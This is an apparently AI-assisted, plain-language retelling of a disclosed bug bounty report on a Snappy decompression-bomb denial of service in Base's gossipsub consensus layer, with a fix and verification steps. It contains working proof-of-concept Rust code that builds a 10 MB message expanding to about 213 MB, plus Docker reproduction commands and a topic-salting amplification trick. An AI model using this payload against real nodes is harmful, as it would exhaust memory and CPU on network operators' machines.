This class of bug hides where a size limit is enforced on one representation of the data and the code then transforms it into another: compressed versus decompressed, encoded versus decoded, serialised versus parsed. The signal during recon is a constant such as MAX_GOSSIP_SIZE or max_transmit_size applied at the transport layer while the handler below it calls a decoder that allocates from an attacker-supplied length field. Reading the decoder's own source for its allocation pattern, as the report does with snap-1.1.1, tells you whether the declared length is trusted before validation.

To show enough impact, the researcher combined a single-process measurement of CPU and committed RSS with an end-to-end multi-container reproduction that produced an OOM kill, then mapped both onto the program's published hardware recommendations and severity criteria. The arithmetic connecting per-message cost to the 30% threshold, and the explicit argument for why the ratios are amplification rather than brute force, are what the report uses to argue for Medium.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 25 min read.

What happened, in plain words

Base is a blockchain network. Like any network, it is made of computers run by different people, called nodes, that talk to each other. Some of those nodes are followers: they do not decide what happens next on the chain, they just listen to what the rest of the network announces and keep their own copy of the chain up to date.

To talk to each other, these nodes use a system called libp2p gossipsub. The name says what it does: it is a gossip network. Imagine a room full of people where each person repeats what they hear to a few neighbours, and those neighbours repeat it further, until everyone in the room knows the news. That is how a block, which is a bundle of transactions, reaches every follower without the sender having to contact each one individually.

Before a block is sent over this gossip network, it is squeezed down with a compression format called Snappy, so that fewer bytes travel over the wire. The receiving node has to un-squeeze it, which is called decompression, before it can read the block.

Here is the problem. Base checks that the squeezed (compressed) message is no bigger than 10 MB. It never checks how big the message becomes after un-squeezing. Snappy allows a small input to expand enormously: a carefully built 10 MB message can turn into about 213 MB. Every node that receives such a message has to set aside that much memory and spend processor time doing the un-squeezing, and an attacker can send these messages over and over.

The researcher who found this, gzeon, showed that one attacker with a fast internet connection of about 4 Gbps can make every in-mesh peer spend at least 30% of the gossipsub task's processing power on this un-squeezing work, and can also push small servers out of memory entirely. The report was filed on the Immunefi bug bounty platform against the Base Azul audit competition as report #74913, rated Medium. The affected code is Base version v0.8.0-rc.24.

A bug bounty is a programme where a company pays people to find and report security problems before criminals do. A competition is a time-limited version of the same idea, where many researchers look at the same code at once.

The pieces you need to know

Before the details, a few ideas that come up constantly.

A node. A computer running the Base software. It stores a copy of the blockchain and talks to other nodes.

A follower. A node that copies the chain but does not produce new blocks. Base's block production is centralised, meaning one operator decides the order of blocks; followers just keep up.

A peer. Another node you are connected to. In a gossip network, your peers are the neighbours you exchange news with.

A topic. A named channel inside the gossip network. Think of a radio station: everyone tuned to the same frequency hears the same broadcast. Base uses four topics, one for each version of the block message format.

A message id. A short fingerprint computed from a message. Nodes use it to recognise duplicates: if a message arrives twice, the second copy has the same fingerprint and is thrown away without further work. This is called deduplication, or dedup.

Compression and decompression. Squeezing data into fewer bytes and expanding it back. Snappy is a fast compression format designed by Google. It is not the strongest compressor, but it is quick.

CPU and RAM. The processor does the work; memory holds the data while it is being worked on. A node has a fixed amount of both. If memory runs out, the operating system kills the process, which is called an OOM kill (out of memory).

RSS. Resident set size: the amount of physical memory a program is actually using right now, as opposed to memory it has merely reserved.

A cgroup. A Linux feature that lets you put a limit on how much memory or CPU a group of processes may use. Containers, such as Docker containers, use cgroups to enforce their limits.

A varint. A variable-length integer: a way of writing a number in as few bytes as possible. Small numbers take one byte, larger numbers take more. Snappy puts the declared size of the decompressed output at the start of the stream as a varint.

Amplification. When a small effort by an attacker causes a much larger cost for the victim. Sending one small message that forces a big allocation is amplification. A brute-force attack, by contrast, is when the attacker has to spend roughly as much as the victim does, for example by flooding with ordinary traffic.

Context: how Base's gossip layer is built

Base's consensus layer, the part of the software that agrees with the rest of the network on what the chain looks like, speaks libp2p gossipsub. Followers join a gossip mesh, which is the web of connections between peers, and receive block payloads on four topics, one per version of the payload envelope format. All four follow the naming scheme /optimism/{chain_id}/N/blocks, where {chain_id} is the identifier of the chain and N runs from 0 to 3.

Each gossip message carries a Snappy-compressed payload. The node enforces a compressed-size ceiling, MAX_GOSSIP_SIZE = 10 MB, through gossipsub's .max_transmit_size(MAX_GOSSIP_SIZE) setting. That setting only limits the bytes on the wire. Nothing caps the size of the data after decompression.

The report targets Base v0.8.0-rc.24 (commit 819ea30) and was filed against the Base Azul audit competition on Immunefi as report #74913, severity Medium.

Setup: what the researcher needed

No accounts, credentials or access to Base's own infrastructure were needed. The attacker is an ordinary unauthenticated libp2p peer. Gossipsub admits any peer that completes the standard noise + yamux + identify handshake. Those three words name the steps a connection goes through: noise encrypts the connection, yamux multiplexes several streams over it, and identify is how peers tell each other who they are. There are no Base-specific tokens and no IP allowlist, which is a list of addresses allowed to connect. The attacker reaches the mesh exactly as an honest follower does.

The researcher worked from the source tree, the readable code of the project, and built two artefacts:

  1. A single-process Rust program, snap-bomb-poc.rs, measuring CPU and committed RSS for one decompress_vec call on x86_64 Linux in a release build. Rust is the programming language Base's consensus code is written in; a release build is the optimised version you would actually deploy.
  2. A four-container Docker Compose stack, poc-docker, running the exact vulnerable compute_message_id pattern plus the decode_vN second sink, with a 1 GB cgroup follower as victim. Docker Compose is a tool for starting several containers, lightweight isolated computers, from one configuration file.

Base's node-operator performance-tuning page recommends 32 GB RAM and 8+ vCPU per node. vCPU means virtual processor core. The impact arithmetic uses that hardware profile.

Finding it: two places that un-squeeze without a limit

Two call sites decompress attacker-controlled bytes without checking the declared output length. A call site is a place in the code where a function is invoked.

Sink 1 is compute_message_id at crates/consensus/gossip/src/config.rs:104-119. A sink, in this context, is a place where data ends up being processed. It runs for every received gossip message before the duplicate cache is consulted, so decompression happens on first receipt regardless of later dedup:

Rust
fn compute_message_id(msg: &Message) -> MessageId {
    let mut decoder = Decoder::new();
    let id = decoder.decompress_vec(&msg.data).map_or_else(
        |_| { /* fallback hash on raw bytes */ },
        |data| { /* hash on decompressed bytes */ },
    );
    MessageId(id)
}

Line by line:

  • fn compute_message_id(msg: &Message) -> MessageId { declares a function that takes a message and returns a message id.
  • let mut decoder = Decoder::new(); creates a fresh Snappy decoder.
  • let id = decoder.decompress_vec(&msg.data).map_or_else( un-squeezes the message data. map_or_else means: if it worked, do the first thing; if it failed, do the second.
  • |_| { /* fallback hash on raw bytes */ }, is the failure branch: hash the still-compressed bytes instead.
  • |data| { /* hash on decompressed bytes */ }, is the success branch: hash the decompressed bytes.
  • MessageId(id) wraps the result as the message id.

The important part is that the un-squeezing happens before anything else, on every message, whether or not it is a duplicate.

It is registered as the gossipsub message-id function at crates/consensus/gossip/src/config.rs:88-93, alongside .max_transmit_size(MAX_GOSSIP_SIZE), which only bounds the compressed side.

Sink 2 is BlockHandler::handle at crates/consensus/gossip/src/handler.rs:50-72. It picks one of decode_v{1..4} based on the message topic and runs it on the same compressed bytes:

Rust
let decoded = if msg.topic == self.blocks_v1_topic.hash() {
    NetworkPayloadEnvelope::decode_v1(&msg.data)
} else if msg.topic == self.blocks_v2_topic.hash() {
    NetworkPayloadEnvelope::decode_v2(&msg.data)
} ... ;

Line by line:

  • let decoded = if msg.topic == self.blocks_v1_topic.hash() { checks whether the message arrived on the first topic.
  • NetworkPayloadEnvelope::decode_v1(&msg.data) if so, decode it with the version 1 decoder.
  • } else if msg.topic == self.blocks_v2_topic.hash() { otherwise check the second topic.
  • NetworkPayloadEnvelope::decode_v2(&msg.data) and decode with the version 2 decoder.
  • } ... ; the pattern continues for versions 3 and 4.

Each decode_vN calls snap::raw::Decoder::decompress_vec(data) again, at crates/common/rpc-types-engine/src/envelope.rs:258 (decode_v1), :302 (decode_v2), :346 (decode_v3) and :402 (decode_v4). A message that survives id-dedup and is routed to its topic handler therefore pays both sinks in sequence on the same buffer. In other words, the same bytes are un-squeezed twice.

The topic instances are created in BlockHandler::new (crates/consensus/gossip/src/handler.rs:99-102) and all four are returned as the accepted set by topics() (handler.rs:79-87):

Rust
blocks_v1_topic: IdentTopic::new(format!("/optimism/{chain_id}/0/blocks")),
blocks_v2_topic: IdentTopic::new(format!("/optimism/{chain_id}/1/blocks")),
blocks_v3_topic: IdentTopic::new(format!("/optimism/{chain_id}/2/blocks")),
blocks_v4_topic: IdentTopic::new(format!("/optimism/{chain_id}/3/blocks")),

Line by line:

  • blocks_v1_topic: IdentTopic::new(format!("/optimism/{chain_id}/0/blocks")), creates the topic name for version 1, ending in /0/blocks.
  • blocks_v2_topic: IdentTopic::new(format!("/optimism/{chain_id}/1/blocks")), the same for version 2, ending in /1/blocks.
  • blocks_v3_topic: IdentTopic::new(format!("/optimism/{chain_id}/2/blocks")), version 3, ending in /2/blocks.
  • blocks_v4_topic: IdentTopic::new(format!("/optimism/{chain_id}/3/blocks")), version 4, ending in /3/blocks.

Every follower subscribes to all four. Because compute_message_id hashes only msg.data and not the topic, a byte-identical payload published on several topics is deduplicated globally after the first decompression. Varying one byte per topic gives each topic-message a distinct id and its own decompression, at a cost of four bytes per round to the attacker. This trick is called salting: adding a small variation so that otherwise identical content looks different.

The reason decompress_vec is unbounded is visible in snap-1.1.1/src/decompress.rs:105-110:

Rust
pub fn decompress_vec(&mut self, input: &[u8]) -> Result<Vec<u8>> {
    let mut buf = vec![0; decompress_len(input)?];        // pre-allocate declared size
    let n = self.decompress(input, &mut buf)?;
    buf.truncate(n);
    Ok(buf)
}

Line by line:

  • pub fn decompress_vec(&mut self, input: &[u8]) -> Result<Vec<u8>> { declares a public function that takes the compressed bytes and returns either the decompressed bytes or an error.
  • let mut buf = vec![0; decompress_len(input)?]; reads the declared output size from the header and immediately reserves that much memory, filled with zeros. The ? means: if reading the size fails, return the error now.
  • let n = self.decompress(input, &mut buf)?; does the actual un-squeezing into that buffer.
  • buf.truncate(n); trims the buffer to the number of bytes actually written.
  • Ok(buf) returns the result.

The key line is the second one: memory is reserved based on a number the sender chose, before the payload has been validated.

The varint header carries the declared decompressed length, and snap-1.1.1/src/lib.rs:93 sets MAX_INPUT_SIZE = u32::MAX, so the only ceiling is roughly 4 GB. u32::MAX is the largest number that fits in 32 bits, about 4.29 billion. Neither Base call site adds an application-level cap.

The allocation path matters for the attack. vec![0; N] calls __rust_alloc_zeroed, which on glibc/Linux above M_MMAP_THRESHOLD = 128 KB issues mmap(MAP_ANONYMOUS). In plain terms: for large requests, the program asks the operating system for fresh memory pages, and the operating system hands back pages that all read as zero without doing any real work yet. Pages stay as kernel zero pages until written. A tiny header declaring 4 GB fails fast with HeaderMismatch before committing many pages, because the decoder notices the stream does not match the declared size. A stream that legitimately expands, built from chained copy-2-byte len=64 offset=1 instructions, is valid Snappy and forces the decoder to write the output, physically committing the pages. Committing means the memory is now really in use, not just reserved.

Snappy's per-instruction ratios set the ceiling. Snappy works by copying earlier bytes forward; each instruction says how many bytes to copy and from how far back:

Snappy op Compressed Max decompressed Ratio
copy-1-byte (3-bit len, 11-bit offset) 2 11 5.5:1
copy-2-byte (6-bit len, 16-bit offset) 3 64 21.3:1
copy-4-byte (6-bit len, 32-bit offset) 5 64 12.8:1

At 21.3:1 under the 10 MB compressed cap, one message decompresses to about 213 MB. That figure is the load-bearing constant for the rest of the analysis.

Exploitation

Step 1: measure the cost of a single decompression

The PoC builds a valid Snappy stream that expands to 213,000,000 bytes and times one decompress_vec call:

Rust
fn varint(mut v: u64) -> Vec<u8> {
    let mut out = Vec::new();
    loop {
        let b = (v & 0x7f) as u8;
        v >>= 7;
        if v == 0 { out.push(b); break; }
        out.push(b | 0x80);
    }
    out
}

fn build_legit_bomb(target_size: u64) -> Vec<u8> {
    let mut out = varint(target_size);
    out.push(0x00); out.push(0xAA);
    let copies = (target_size - 1) / 64;
    for _ in 0..copies {
        out.push((63 << 2) | 0b10); out.push(0x01); out.push(0x00);
    }
    out
}

fn main() {
    // Target: max compressed ~9 MB → ~600 MB decompressed (via 64x copy ratio)
    let target: u64 = 213_000_000;
    let bomb = build_legit_bomb(target);
    println!("Compressed: {} B ({:.2} MB), target: {} B ({:.2} MB), ratio: {:.0}:1",
        bomb.len(), bomb.len() as f64 / 1_048_576.0,
        target, target as f64 / 1_048_576.0,
        target as f64 / bomb.len() as f64);
    if bomb.len() > 10 * 1024 * 1024 {
        println!("WARNING: compressed exceeds MAX_GOSSIP_SIZE (10 MB)");
    }
    let t = std::time::Instant::now();
    let mut d = snap::raw::Decoder::new();
    let res = d.decompress_vec(&bomb);
    let dt = t.elapsed();
    match res {
        Ok(v) => println!("Decompressed: {} B in {:?}", v.len(), dt),
        Err(e) => println!("Err: {:?}", e),
    }
}

Line by line:

  • fn varint(mut v: u64) -> Vec<u8> { declares a helper that turns a number into its varint byte form.
  • let mut out = Vec::new(); starts an empty list of bytes.
  • loop { repeats until told to stop.
  • let b = (v & 0x7f) as u8; takes the lowest seven bits of the number.
  • v >>= 7; shifts the number right by seven bits, moving on to the next group.
  • if v == 0 { out.push(b); break; } if nothing is left, store the last byte and stop.
  • out.push(b | 0x80); otherwise store the byte with the top bit set, which marks "more bytes follow".
  • out returns the bytes.
  • fn build_legit_bomb(target_size: u64) -> Vec<u8> { declares the function that builds the expanding stream.
  • let mut out = varint(target_size); starts the stream with the declared output size.
  • out.push(0x00); out.push(0xAA); adds two literal bytes, the seed data that later copies will repeat.
  • let copies = (target_size - 1) / 64; works out how many 64-byte copies are needed to reach the target.
  • for _ in 0..copies { repeats that many times.
  • out.push((63 << 2) | 0b10); out.push(0x01); out.push(0x00); adds one three-byte copy instruction: copy 64 bytes from offset 1.
  • out returns the finished stream.
  • fn main() { the program entry point.
  • let target: u64 = 213_000_000; sets the desired decompressed size.
  • let bomb = build_legit_bomb(target); builds the stream.
  • println!("Compressed: {} B ... prints the compressed size, the target size and the ratio.
  • if bomb.len() > 10 * 1024 * 1024 { checks whether the compressed stream exceeds the 10 MB gossip limit.
  • println!("WARNING: compressed exceeds MAX_GOSSIP_SIZE (10 MB)"); warns if it does.
  • let t = std::time::Instant::now(); starts a timer.
  • let mut d = snap::raw::Decoder::new(); creates a Snappy decoder.
  • let res = d.decompress_vec(&bomb); performs the decompression.
  • let dt = t.elapsed(); stops the timer.
  • match res { prints either the decompressed size and time, or the error.

Run with cargo run --release and measured with /usr/bin/time -v, the output was:

Text
Compressed: 9984378 B (9.52 MB)
Target decompressed: 213000000 B (203.13 MB)
10 decompressions in 1.804986475s
Per-decompression: 180.498647ms
Maximum resident set size (kbytes): 219868   # 213 MB committed real RSS

So one sink costs the receiving peer about 0.18 s CPU and 213 MB peak RSS. With both sinks routed, a single delivered message costs about 0.36 s CPU and 213 MB peak.

Step 2: derive the publish rate needed to saturate 30% of the gossipsub task

On 8 cores, 30% is 2.4 cores busy. The report's arithmetic:

Step Value
Per-message CPU cost 0.18 s × 2 sinks = 0.36 cores-second per delivered message
Per-publish CPU cost on each receiver (4 topics, salted) 4 × 0.36 = 1.44 cores-second per attacker round per receiver
Threshold publishes/sec to saturate 30% of the gossipsub task 2.4 / 1.44 ≈ 1.67 publishes/sec
Attacker uplink (mesh fan-out: mesh_D × topics × publishes/s × msg_size) 1.67 × 4 × 8 × 9.98 MB ≈ 534 MB/s ≈ 4.3 Gbps

A cores-second is one core busy for one second. A single attacker with roughly 4 Gbps uplink makes every in-mesh peer pay at least 30% of the gossipsub task's CPU. The figure assumes one attacker meshed at one position; multiple sock-puppets at different positions spread the same total uplink without changing the per-receiver impact. Sock-puppets here means several identities controlled by the same attacker.

Step 3: reproduce end to end in containers

The poc-docker stack runs the vulnerable compute_message_id pattern and the decode_vN second sink, with three sock-puppets publishing on four topics at two publishes per second against a 1 GB cgroup follower. The captured events from 2026-04-25:

Text
2026-04-25T07:40:29.225182946Z container oom 9bb562e60ee6...
  com.docker.compose.service=victim-a-r
  name=poc-docker-victim-a-r-1

2026-04-25T07:40:29.622919395Z container die 9bb562e60ee6...
  execDuration=204
  exitCode=137                            # SIGKILL by OOM killer

$ docker inspect poc-docker-victim-a-r-1 --format \
    "R={{.RestartCount}} OOMKilled={{.State.OOMKilled}}"
R=1 OOMKilled=false                       # OOMKilled flag clears post-restart

Line by line:

  • container oom 9bb562e60ee6... is Docker reporting that the container ran out of memory.
  • com.docker.compose.service=victim-a-r and name=poc-docker-victim-a-r-1 identify which container it was.
  • container die ... reports the container stopping.
  • execDuration=204 says it ran for 204 seconds.
  • exitCode=137 is the exit code meaning the process was killed with SIGKILL, the signal the out-of-memory killer sends.
  • docker inspect ... --format "R={{.RestartCount}} OOMKilled={{.State.OOMKilled}}" asks Docker for the restart count and the out-of-memory flag.
  • R=1 OOMKilled=false shows it restarted once; the flag reads false because Docker clears it after the restart.

The container oom event and RestartCount=1 are the evidence; OOMKilled=false is normal Docker behaviour after a restart. The reproduction commands:

Bash
cd poc-docker
docker compose --profile realistic up -d
sleep 180
docker events --since 5m --filter event=oom
docker inspect poc-docker-victim-a-r-1 --format \
    "RestartCount={{.RestartCount}} OOMKilled={{.State.OOMKilled}}"

Line by line:

  • cd poc-docker moves into the folder holding the reproduction.
  • docker compose --profile realistic up -d starts the containers using the "realistic" profile, in the background.
  • sleep 180 waits three minutes for the attack to have an effect.
  • docker events --since 5m --filter event=oom lists out-of-memory events from the last five minutes.
  • docker inspect ... reads the restart count and out-of-memory flag of the victim container.

Two cosmetic adaptations were disclosed: mesh_n=2/n_low=1/n_high=4/outbound_min=0 instead of Base's production 8/6/12, because libp2p-gossipsub validates D_low * 2 ≤ D and a four-node mesh cannot satisfy 6/12; and add_explicit_peer() is called after dial completes, whereas production Base meshes naturally within about two heartbeats once SUBSCRIBE control messages are exchanged. A heartbeat here is a periodic timer inside gossipsub. Neither adaptation changes the structural attack, and the 32 GB derivation uses production mesh_D=8.

Root cause

The compressed-size cap is applied at the wrong layer. MAX_GOSSIP_SIZE bounds what gossipsub accepts on the wire, but both decompression sinks pass attacker-controlled bytes straight to snap::raw::Decoder::decompress_vec, which allocates vec![0; decompress_len(input)?] from the varint header before validating the payload. Snappy's own MAX_INPUT_SIZE = u32::MAX is the only limit, and a valid expanding stream commits the pages it declares. The vulnerable pattern was introduced with the initial Base Consensus port in commit feat(consensus): Base Consensus (#898), carried over from op-node without a decompressed-size cap, and was unchanged through v0.8.0-rc.24 with no fix commit in the rc.1 to rc.24 range. A port means code moved from one project into another.

Impact

On Base's recommended 32 GB / 8+ vCPU hardware, a single attacker at about 4 Gbps uplink saturates at least 30% of the gossipsub task's CPU on every in-mesh peer, which is the MEDIUM criterion "Increasing network processing node resource consumption by at least 30 % without brute force actions". The memory side is a 213 MB RSS spike per delivered message, lasting the decompression plus handler-side validation. On the standard co-resident base-consensus + base-reth-node + RPC + flashblocks deployment, each spike evicts execution-layer state-DB hot pages from page cache and slows block sync; with swap disabled, the kernel cannot page the pressure away. Co-resident means several services running on the same machine. The execution layer is the part of the node that actually runs transactions; its state database is the store of current account data, and the page cache is the operating system's copy of recently read disk data kept in memory. Swap is disk space used as overflow memory.

The report frames the issue as amplification rather than brute force. Per attacker byte, one receiver commits about 44 bytes of memory and spends about 36 ns of CPU. Across the mesh (mesh_D = 8, roughly 50 in-mesh peers), one publish of 80 MB attacker uplink produces about 18 cores-seconds of receiver CPU, roughly 225 milli-cores-seconds per MB, and a memory ratio near 1:1100. Mesh fan-out also decouples attacker uplink from victim count: the uplink is bounded by mesh_D × topics × stacking-rate × msg_size, independent of how many peers pay the cost.

Several common production defaults lower the threshold without any operator misconfiguration:

Configuration Effect
Swap disabled / vm.swappiness=0 No swap relief on memory pressure; universal on blockchain nodes
Co-resident base-consensus + base-reth-node + RPC + flashblocks Smaller per-process budget; 213 MB spikes evict EL state-DB hot pages
cgroup v2 with memory.swap.max=0 Container-level no-swap; Docker default for mem_limit
vm.overcommit_memory=2 Allocations rejected before paging out; fast-fail OOM at lower RSS
systemd-oomd enabled Proactive OOM kill at lower pressure thresholds

vm.swappiness is a kernel setting for how eagerly memory is moved to swap; vm.overcommit_memory=2 makes the kernel refuse memory reservations it cannot back; systemd-oomd is a service that kills processes before the machine becomes unusable.

The bug also meets the alternative MEDIUM criterion, "Shutdown of ≥30 % of network processing nodes without brute force actions", on lower-RAM victims such as cgroup containers and low-spec followers; the 1 GB cgroup reproduction above shows this. It does not rise to HIGH: there is no direct ≥500% block-production delay (the sequencer is centralised and the gossip layer is not on the L2 block-production critical path), no chain split, and no RPC-API crash on programs with ≥25% market cap. The sequencer is the node that orders transactions; L2 means layer 2, the chain built on top of a base chain; an RPC API is the interface programs use to ask a node questions.

Fix

The report proposes a pre-check with snap::raw::decompress_len, which reads only the ≤5-byte varint header and performs no allocation, so it is safe to call before decompress_vec. The existing MAX_GOSSIP_SIZE constant is already imported at both vulnerable sites.

Rust
fn bounded_decompress(input: &[u8]) -> Result<Vec<u8>, snap::Error> {
    let len = snap::raw::decompress_len(input)?;
    if len > MAX_GOSSIP_SIZE {                          // <-- the missing check
        return Err(snap::Error::TooBig {
            given: len as u64,
            max: MAX_GOSSIP_SIZE as u64,
        });
    }
    snap::raw::Decoder::new().decompress_vec(input)
}

Line by line:

  • fn bounded_decompress(input: &[u8]) -> Result<Vec<u8>, snap::Error> { declares a replacement function that returns either bytes or an error.
  • let len = snap::raw::decompress_len(input)?; reads the declared output size from the header without allocating anything.
  • if len > MAX_GOSSIP_SIZE { checks it against the existing 10 MB constant.
  • return Err(snap::Error::TooBig { if it is too big, return an error instead of allocating.
  • given: len as u64, records the size that was asked for.
  • max: MAX_GOSSIP_SIZE as u64, records the limit.
  • snap::raw::Decoder::new().decompress_vec(input) otherwise decompress as before.

It should be applied at crates/consensus/gossip/src/config.rs:104-119 (compute_message_id) and at crates/common/rpc-types-engine/src/envelope.rs:258, 302, 346, 402 (all four decode_vN). A NetworkPayloadEnvelope v4 carrying a full-size Isthmus block (30 M gas) is well under 10 MB SSZ-encoded, so a 10 MB decompressed cap accommodates every legitimate payload. SSZ is the serialisation format used for these payloads, and gas is the unit of computational work a block may contain. Reusing the compressed cap forces the effective ratio to at most 1:1 and removes the amplification factor regardless of future Snappy versions.

The report describes verifying the fix by applying the patch to vulnerable_message_id in poc-docker/src/main.rs and rebuilding:

Bash
docker compose --profile realistic up --build

Line by line:

  • docker compose --profile realistic up --build starts the same stack, rebuilding the images first so the patched code is used.

The report states that with the patch, victim RSS stays under about 50 MB regardless of attacker rate and RestartCount stays at 0. Attacker publish calls still succeed at the wire level, but receivers reject the bombs during message-id computation, so the RSS impact is zero.

Variants to test

  • Other Snappy call sites in the same codebase. Grep for decompress_vec and Decoder::new across the tree. A positive result is a call site that takes network bytes and has no decompress_len check before allocation. Grep is a command-line tool for searching text.
  • Other compression formats with declared lengths. zlib, brotli and zstd decoders that allocate from a header before validating the stream behave the same way. A positive result is a message that commits far more memory than its wire size.
  • Other gossip topics and message-id functions. Any gossipsub deployment where the message-id function hashes decompressed data runs decompression before dedup. A positive result is CPU cost paid on first receipt of every message, including ones later dropped.
  • Topic salting against content-addressed dedup. Where the message id covers only the payload, varying one byte per topic multiplies the per-round cost. A positive result is N distinct ids for N topics from a single base payload.
  • Low-memory container deployments. Reproduce against a cgroup-limited follower to see whether the per-message peak alone triggers OOM. A positive result is a container oom event and a restart count above zero.

Hunting notes

This class of bug hides where a size limit is enforced on one representation of the data and the code then transforms it into another: compressed versus decompressed, encoded versus decoded, serialised versus parsed. The signal during recon is a constant such as MAX_GOSSIP_SIZE or max_transmit_size applied at the transport layer while the handler below it calls a decoder that allocates from an attacker-supplied length field. Reading the decoder's own source for its allocation pattern, as the report does with snap-1.1.1, tells you whether the declared length is trusted before validation.

To show enough impact, the researcher combined a single-process measurement of CPU and committed RSS with an end-to-end multi-container reproduction that produced an OOM kill, then mapped both onto the program's published hardware recommendations and severity criteria. The arithmetic connecting per-message cost to the 30% threshold, and the explicit argument for why the ratios are amplification rather than brute force, are what the report uses to argue for Medium.

Glossary

  • Block: a bundle of transactions added to the blockchain.
  • Blockchain: a shared, append-only record of transactions kept by many computers.
  • Brute force: an attack where the attacker spends roughly as much effort as the victim, such as a plain traffic flood.
  • Bug bounty: a programme that pays people to report security problems responsibly.
  • Call site: a place in code where a function is invoked.
  • cgroup: a Linux feature that limits how much memory or CPU a group of processes may use.
  • Commit (memory): to actually use reserved memory, as opposed to merely reserving it.
  • Compression: squeezing data into fewer bytes.
  • Cores-second: one processor core busy for one second; a unit of work.
  • CPU: the processor that does the work.
  • Deduplication (dedup): discarding a message that has already been seen, recognised by its fingerprint.
  • Decompression: expanding compressed data back to its original form.
  • Docker: software for running applications in isolated containers.
  • Docker Compose: a tool for starting several containers from one configuration file.
  • Execution layer: the part of a node that runs transactions and keeps account state.
  • Follower: a node that copies the chain but does not produce blocks.
  • Gas: the unit of computational work a block may contain.
  • Gossip / gossipsub: a network where each peer forwards news to a few neighbours until everyone has it.
  • Grep: a command-line tool for searching text.
  • Handshake: the opening exchange that establishes a connection between two peers.
  • Heartbeat: a periodic timer inside gossipsub.
  • Identify: the libp2p step where peers tell each other who they are.
  • IP allowlist: a list of network addresses permitted to connect.
  • libp2p: a networking library used by blockchain nodes to find and talk to each other.
  • L2 (layer 2): a chain built on top of a base chain.
  • Mesh: the web of connections between gossip peers.
  • Message id: a short fingerprint of a message, used to spot duplicates.
  • mmap: a way for a program to ask the operating system for memory pages.
  • Node: a computer running the blockchain software.
  • Noise: the encryption protocol used for libp2p connections.
  • OOM kill: the operating system terminating a process because memory ran out.
  • Page cache: the operating system's in-memory copy of recently read disk data.
  • Peer: another node you are connected to.
  • Port: moving code from one project into another.
  • RPC API: the interface programs use to ask a node questions.
  • RSS (resident set size): the physical memory a program is actually using.
  • Rust: the programming language Base's consensus code is written in.
  • Salting: adding a small variation so otherwise identical content looks different.
  • Sequencer: the node that orders transactions into blocks.
  • Sink: a place where data ends up being processed.
  • Snappy: a fast compression format from Google.
  • Sock-puppet: an additional identity controlled by the same attacker.
  • Source tree: the readable code of a project.
  • SSZ: the serialisation format used for these payloads.
  • Swap: disk space used as overflow memory when RAM is full.
  • Topic: a named channel inside the gossip network.
  • Varint: a variable-length way of writing a number in as few bytes as possible.
  • vCPU: a virtual processor core.
  • Yamux: the libp2p component that multiplexes several streams over one connection.

More by gzeon

View all

46 more disclosed reports, best first.

More from Base Azul

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.